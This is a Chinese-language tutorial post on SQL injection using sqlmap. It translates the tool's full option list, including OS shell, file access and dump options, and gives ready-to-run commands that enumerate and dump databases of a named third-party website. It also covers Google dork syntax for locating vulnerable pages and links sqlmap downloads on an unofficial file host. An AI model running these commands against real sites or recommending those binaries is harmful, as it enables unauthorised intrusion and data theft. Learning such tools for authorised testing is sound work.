<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手教你用Python輕松玩轉SQL注入

          共 8422字,需瀏覽 17分鐘

           ·

          2021-03-29 02:45

          點擊上方“Python爬蟲與數(shù)據挖掘”,進行關注

          回復“書籍”即可獲贈Python從入門到進階共10本電子書

          山有木兮木有枝,心悅君兮君不知。

          前言

          大家好,我是黃偉。相信大家經常有聽到過SQL注入啥的,但是并不是特別了解;小編以前就是經常聽別人說,但是自己啥都不懂,直到后來看了相關教材后才明白,原來是這么個東西,那么到底是什么東西了,又或者是不是個東西了?我們接著往下看。


          一、淺談SQL注入

          SQL注入其實就是把SQL命令插入到WEB表單中提交或者輸入一些頁面請求的查詢字符串,比如我們輸網址,就是相當于這種操作,只不過我們不是在測試SQL注入漏洞,而僅僅只是為了輸入后看到相應網頁上的內容而已。一般方法有,如:猜數(shù)據表名,其次就是繞過后臺漏洞,一般這兩種方法And或者Or關鍵字用的比較多。國內曾經也出現(xiàn)過類似的軟件,像什么啊D,明小子,曾經也是一眾腳本小子的必備神器,現(xiàn)在由于未更新也怕是涼涼了,只不過曾經也曾輝煌過。


          二、Sqlmap的注入方式

          Sqlmap總共有五種不同的注入模式,如下:

          1.時間盲注

          2.布爾盲注

          3.報錯注入

          4.聯(lián)合查詢注入

          5.堆查詢注入


          三、Sqlmap支持的數(shù)據庫

          基本上主流數(shù)據庫它都支持,比如Mysql ,Mongo,Oracle,Sqlserver,Access,Sqlite等等。


          四、Sqlmap安裝

          這里我們可以使用兩種方案,一個是安裝Sqlmap的Python版本,另一個是下載已經編譯好的Sqlmap應用程序,看你選擇哪個。只不過官網下載會比較慢,所以,貼心的小編已經將它們都下載下來了,大家直接按照我提供的下載地址進行下載即可,如下:

          Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892


          五、玩轉基本命令

          這里我們以Sqlmap程序為主來進行講解,當然你也可以使用Python版的Sqlmap,命令都一樣。有命令自然離不開參數(shù),Sqlmap也是一樣,不過它里面的參數(shù)也是出奇的多,我的乖乖,小編表示哭暈在廁所。下面我們來一個個進行講解,也許可能講的不是很全面,希望多多包涵。我們都知道不管哪個命令行工具都會有幫助命令,Sqlmap也不例外,一個""-h",直接所有命令通通給你列出來,如下:

          相信大家從圖中看到了眾多的中文,開始犯難了,不慌,問題不大。此外,不知道大家有沒有看到”-hh“這個不知道是什么鬼,其實這就是比”-h“稍微高級那么一點而已。如圖所示:

          比”-h“看起來更加有條理。那么讓俺來親自向大家介紹下這些參數(shù)的用處吧,起碼先給它翻譯過來。

          Options(選項):–version 顯示程序的版本號并退出-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1以上七個等級分別為:0、只顯示python錯誤以及嚴重的信息1、同時顯示基本信息和警告信息(默認)2、同時顯示debug信息3、同時顯示注入的payload4、同時顯示HTTP請求5、同時顯示HTTP響應頭6、同時顯示HTTP響應頁面

          Target(目標):以下至少需要設置其中一個選項,設置目標URL。-d DIRECT 直接連接到數(shù)據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-m BULKFILE 掃描多個目標列入給定文本文件 -r REQUESTFILE 從一個文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。  Request(請求):這些選項可以用來指定如何連接到目標URL。data=DATA 通過POST發(fā)送的數(shù)據字符串——param-del = PDEL字符用于分割參數(shù)值–cookie=COOKIE HTTP Cookie頭--load-cookies= 讀取Netscape/wget格式的cookies文件–cookie-urlencode URL 編碼生成的cookie注入drop-set-cookie 忽略響應的Set – Cookie頭信息user-agent=AGENT 指定 HTTP UserAgent–random-agent 使用隨機選定的HTTP UserAgent --force-ssl 使用SSL / HTTPS請求 --host=HOST HTTP主機頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開,加入其它的HTTP–auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)–auth-cert=ACERT HTTP認證證書(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)ignore-proxy 忽略系統(tǒng)默認的HTTP代理–delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒timeout=TIMEOUT 等待連接超時的時間(默認為30秒)–retries=RETRIES 連接超時后重新連接的時間(默認3scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式safe-url=SAFURL 在測試過程中經常訪問的url地址safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL --skip-urlencode 跳過URL編碼的數(shù)據 --eval=EVALCODE 評估請求之前提供Python代碼(如?!癷mport hashlib; id2 = hashlib.md5 (id) .hexdigest())


          Optimization(優(yōu)化):這些選項可用于優(yōu)化SqlMap的性能。-o 開啟所有優(yōu)化開關–predict-output 預測常見的查詢輸出keep-alive 使用持久的HTTP(S)連接null-connection 從沒有實際的HTTP響應體中檢索頁面長度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1

          Injection(注入):這些選項可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(shù)(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統(tǒng)為這個值——invalid-bignum 使用大數(shù)據無效值——invalid-logical 使用邏輯操作無效值——no-cast 關掉負載鑄造機制——no-unescape 關掉字符串unescap機制–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本篡改注入數(shù)據 --skip=SKIP 跳過給定的參數(shù)
          Detection(檢測):這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。level=LEVEL 執(zhí)行測試的等級(1-5,默認為1–risk=RISK 執(zhí)行測試的風險(0-3,默認為1string=STRING 字符串匹配時查詢計算為True--not-string=NOT.. 字符串匹配時查詢計算為False–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式——code= HTTP狀態(tài)碼text-only 僅基于在文本內容比較網頁

          Techniques(技巧):這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術測試(默認BEUST)time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)union-cols=UCOLS 定列范圍用于測試UNION查詢注入union-char=UCHAR 用于暴力猜解列數(shù)的字符--dns-domain= DNS . .域名用于DNS漏出攻擊--second-order= S . .產生的頁面的url搜索二階響應
          Fingerprint(指紋):-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋

          Enumeration(枚舉):這些選項可以用來列舉后端數(shù)據庫管理系統(tǒng)的信息、表中的結構和數(shù)據。此外,您還可以運行您自己的SQL語句。-b, –banner 檢索數(shù)據庫管理系統(tǒng)的標識current-user 檢索數(shù)據庫管理系統(tǒng)當前用戶current-db 檢索數(shù)據庫管理系統(tǒng)當前數(shù)據庫is-dba 檢測DBMS當前用戶是否DBAusers 枚舉數(shù)據庫管理系統(tǒng)用戶–passwords 枚舉數(shù)據庫管理系統(tǒng)用戶密碼哈希privileges 枚舉數(shù)據庫管理系統(tǒng)用戶的權限roles 枚舉數(shù)據庫管理系統(tǒng)用戶的角色–dbs 枚舉數(shù)據庫管理系統(tǒng)數(shù)據庫tables 枚舉的DBMS數(shù)據庫中的表columns 枚舉DBMS數(shù)據庫表列——schema 列舉DBMS模式——count 計算檢索表(s)的條目數(shù)量–dump 轉儲數(shù)據庫管理系統(tǒng)的數(shù)據庫中的表項–dump-all 轉儲所有的DBMS數(shù)據庫表中的條目search 搜索列(S),表(S)和/或數(shù)據庫名稱(S)-D DBname 要進行枚舉的指定數(shù)據庫名-T TBLname 要進行枚舉的指定數(shù)據庫表(如:-T tablename –columns-C COL 要進行枚舉的數(shù)據庫列-U USER 用來進行枚舉的數(shù)據庫用戶-–exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據庫-–start=LIMITSTART 第一個查詢輸出進入檢索-–stop=LIMITSTOP 最后查詢的輸出進入檢索-–first=FIRSTCHAR 第一個查詢輸出字的字符檢索-–last=LASTCHAR 最后查詢的輸出字字符檢索-–sql-query=QUERY 要執(zhí)行的SQL語句-–sql-shell 提示交互式SQL的shell--sql-file = SQLFILE執(zhí)行SQL語句從給定的文件(s)
          Brute force(蠻力):這些選項可以被用來運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列

          User-defined function injection(用戶自定義函數(shù)注入):這些選項可以用來創(chuàng)建用戶自定義函數(shù)。–udf-inject 注入用戶自定義函數(shù)shared-lib=SHLIB 共享庫的本地路徑

          File system access(訪問文件系統(tǒng)):這些選項可以被用來訪問后端數(shù)據庫管理系統(tǒng)的底層文件系統(tǒng)。file-read=RFILE 從后端的數(shù)據庫管理系統(tǒng)文件系統(tǒng)讀取文件file-write=WFILE 編輯后端的數(shù)據庫管理系統(tǒng)文件系統(tǒng)上的本地文件file-dest=DFILE 后端的數(shù)據庫管理系統(tǒng)寫入文件的絕對路徑

          Operating system access(操作系統(tǒng)訪問):這些選項可以用于訪問后端數(shù)據庫管理系統(tǒng)的底層操作系統(tǒng)。–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令–os-shell 交互式的操作系統(tǒng)的shell–os-pwn 獲取一個OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC–os-bof 存儲過程緩沖區(qū)溢出利用–priv-esc 數(shù)據庫進程用戶權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

          Windows注冊表訪問:這些選項可以被用來訪問后端數(shù)據庫管理系統(tǒng)Windows注冊表。–reg-read 讀一個Windows注冊表項值–reg-add 寫一個Windows注冊表項值數(shù)據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數(shù)據–reg-type=REGTYPE Windows注冊表項值類型

          General(一般)這些選項可以用來設置一些一般的工作參數(shù)。-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中–batch 從不詢問用戶輸入,使用所有默認配置--charset=CHARSET 強制字符串編碼--crawl=CRAWLDEPTH 從起始位置爬取的深度--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符——dbms-cred=DBMS.. DBMS身份驗證憑據(用戶:密碼)--eta 顯示每個輸出的預計到達時間--flush-session 刷新當前目標的會話文件--forms 在目標URL上解析和測試表單--fresh-queries 忽略在會話文件中存儲的查詢結果--hex dump非ascii字符時,將其編碼為16進制,收到后解碼還原--output-dir=OUT.. 輸出結果至文件--parse-errors 解析并顯示報錯信息--replicate 復制數(shù)據到一個數(shù)據庫sqlite3save file保存選項到INI配置文件——tor 使用tor匿名網絡——tor-port=TORPORT 設置Tor代理端口,而不是默認設置——tor-type=TORTYPE 設置Tor代理類型(HTTP違約,SOCKS4或SOCKS5)update 更新SqlMap

          Miscellaneous(雜項):-z MNEMONICS 參數(shù)助記符,例:-z "bat,randoma,ign,tec=BEU" 其實就是只要你寫的字母可以唯一匹配其它參數(shù),就可以生效。check-payload IDS對注入payloads的檢測測試--alert=ALERT 在找到SQL注入時運行主機OS命令--answers=ANSWERS 設置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認值,可以使用者個參數(shù)對特定問題設定特定答案。例:--answer "extending=N"–beep 發(fā)現(xiàn)SQL注入時提醒--cleanup SqlMap具體的UDF和表清理DBMS--dependencies 檢查缺少的Sql映射依賴項--disable-coloring 禁用控制臺輸出著色--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果--identify-waf 識別目標的防火墻--mobile cosplay 手機--offline 在脫機模式下工作--purge-output 情況輸出文件夾--skip-waf 跳過WAF/IPS/IDS保護的啟發(fā)式檢測--smart 有大量檢測目標時候,只選擇基于錯誤的檢測--sqlmap-shell 創(chuàng)建一個交互的sqlmap_shell--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄--web-root=WEBROOT 設置Web服務器文檔根目錄。例:--web-root="/www"--wizard 給初級用戶的簡單向導界面

          上面便是小編輸入Sqlmap的幫助命令后翻譯好的Sqlmap全部指令了,下面我們來進行實際應用下。

          1.判斷相關條件來判斷URL是否存在注入

          我們給它設置了一個數(shù)據庫和url的請求指令,相當于是在查找Mysql數(shù)據庫中是否存在注入點,然后我又選擇它里面的數(shù)據庫來進行獲取,然后它便會不斷的使用SQL語句對這個數(shù)據庫進行定點爆破,如圖:

          2.構建Post請求

          上面我們所做的請求其實就是個Get請求,現(xiàn)在我們來看看Post請求,如下:

          就像我們平時那樣構建Post請求的格式就可以了。

          3.獲取數(shù)據庫、表信息

          當我們找到注入點后就可以很輕易的找到這些數(shù)據庫和它對應的表了,比如:

          Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有數(shù)據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#當前數(shù)據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #數(shù)據表Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#當前用戶Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判斷歸屬Sqlmap -u http://www.juliwz.cn/forum.php?id=1  -D "VIP" --dump-all#轉儲所有表

          4.爆破用戶名和密碼

          利用自己搭建的WEB服務器來作為測試點,我們來試試看,如下:

          5.Google Hacker語法糖

          講到這里我們不得不提一下GoogleHacker語法,如下:

          intitle: 從網頁標題中搜索指定的關鍵字,可專門用來搜索指定版本名稱的各類web程序,也可用allintitleinurl: 從url中搜索指定的關鍵字,可專門用來構造各種形式的漏洞url,也可用allinurlintext:從網頁中搜索指定的關鍵字,可專門用它來穿透到漏洞頁面等……也可用allintextfiletype: 搜索指定的文件后綴,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某個特定的網站內中搜索指定的內容link:搜索和該鏈接有關聯(lián)連接,比如:友情鏈接index of: 找目錄遍歷會用到  +   強制包含某個字符進行查詢 -   查詢的時候忽略某個字符 ""  查詢的時候精確匹配雙引號內的字符 .   匹配某單個字符進行查詢 *   匹配任意字符進行查詢 |   或者,多個選擇,只要有一個關鍵字匹配上即可

          講這個的目的主要是什么了?其實也就是SQL注入,很多人可能覺得這跟SQL注入沒關系啊,那你就錯了,這個也是找后門的常用語法。不信的話你可以和小編一起來看看,如下:

          后面的我就不介紹了,免得害人,相信看了我寫的例子,很多人都基本上會了。


          六、總結

          總的來說,SQL注入無非就是一段艱難險阻的路程,你可以發(fā)現(xiàn)但是別人也可以防御,雖然你發(fā)現(xiàn)要比較久的時間,但是人家防御卻是很輕松,個人覺得得不償失,不建議大家深入了解,只是做個簡單的介紹了解下就好,至少你搜索技能因此而提高了不少吧。

          ------------------- End -------------------

          往期精彩文章推薦:

          歡迎大家點贊,留言,轉發(fā),轉載,感謝大家的相伴與支持

          想加入Python學習群請在后臺回復【入群

          萬水千山總是情,點個【在看】行不行

          /今日留言主題/

          隨便說一兩句吧~

          瀏覽 55
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  久草手机在线播放 | 美女黄页网站 | 色婷婷国产精品一区二区 | 一本无码一区二区三区 | 俺去俺也去|